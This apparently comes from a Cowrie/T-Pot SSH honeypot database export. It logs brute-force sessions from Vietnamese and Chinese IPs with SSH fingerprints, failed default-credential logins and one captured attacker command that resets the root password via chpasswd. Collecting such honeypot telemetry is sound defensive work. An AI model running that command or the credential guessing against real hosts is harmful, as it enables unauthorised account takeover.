"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20741	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:16.491154+03	2021-09-20 14:15:02.761613+03	{"_id": "vgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e2d4c1312798", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.491154Z", "@timestamp": "2021-09-20T11:06:16.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20742	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.5328+03	2021-09-20 14:15:02.762613+03	{"_id": "vwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ba59f69158c2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.532800Z", "@timestamp": "2021-09-20T11:06:16.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20743	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:16.628463+03	2021-09-20 14:15:02.764612+03	{"_id": "wAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [digital/digital] failed", "session": "65aa95ad449b", "@version": "1", "password": "digital", "username": "digital", "timestamp": "2021-09-20T11:06:16.628463Z", "@timestamp": "2021-09-20T11:06:16.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20749	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:16.959563+03	2021-09-20 14:15:02.772614+03	{"_id": "xgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3894053eb664", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.959563Z", "@timestamp": "2021-09-20T11:06:16.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20744	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.631684+03	2021-09-20 14:15:02.765614+03	{"_id": "wQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ba59f69158c2", "@version": "1", "timestamp": "2021-09-20T11:06:16.631684Z", "@timestamp": "2021-09-20T11:06:16.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20745	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:16.671096+03	2021-09-20 14:15:02.766643+03	{"_id": "wgXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "223.241.247.214", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5682833194732666, "duplicate": true, "timestamp": "2021-09-20T11:06:16.671096Z", "@timestamp": "2021-09-20T11:06:16.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20746	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:16.725247+03	2021-09-20 14:15:02.768644+03	{"_id": "wwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "87a0b732c4da", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:16.725247Z", "@timestamp": "2021-09-20T11:06:16.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20747	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:16.767+03	2021-09-20 14:15:02.769614+03	{"_id": "xAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e2d4c1312798", "@version": "1", "timestamp": "2021-09-20T11:06:16.767000Z", "@timestamp": "2021-09-20T11:06:16.767Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20748	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:16.792627+03	2021-09-20 14:15:02.770643+03	{"_id": "xQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [www/www] failed", "session": "8dd3642a323b", "@version": "1", "password": "www", "username": "www", "timestamp": "2021-09-20T11:06:16.792627Z", "@timestamp": "2021-09-20T11:06:16.792Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20750	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:17.062308+03	2021-09-20 14:15:02.773613+03	{"_id": "xwXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:17.062308Z", "@timestamp": "2021-09-20T11:06:17.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20751	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:17.062853+03	2021-09-20 14:15:02.774615+03	{"_id": "yAXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"root:2VfgTJi00RsD\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:2VfgTJi00RsD\\"|chpasswd|bash", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:17.062853Z", "@timestamp": "2021-09-20T11:06:17.062Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20752	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.065226+03	2021-09-20 14:15:02.776613+03	{"_id": "yQXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2f97955b344b", "@version": "1", "duration": 2.9002773761749268, "timestamp": "2021-09-20T11:06:17.065226Z", "@timestamp": "2021-09-20T11:06:17.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20753	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:17.065732+03	2021-09-20 14:15:02.777614+03	{"_id": "ygXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "87a0b732c4da", "@version": "1", "timestamp": "2021-09-20T11:06:17.065732Z", "@timestamp": "2021-09-20T11:06:17.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20754	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:17.092127+03	2021-09-20 14:15:02.778613+03	{"_id": "ywXiAnwBvYTbRNuEmfxE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "024b71a5e8c2", "@version": "1", "duration": 3.2221124172210693, "timestamp": "2021-09-20T11:06:17.092127Z", "@timestamp": "2021-09-20T11:06:17.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
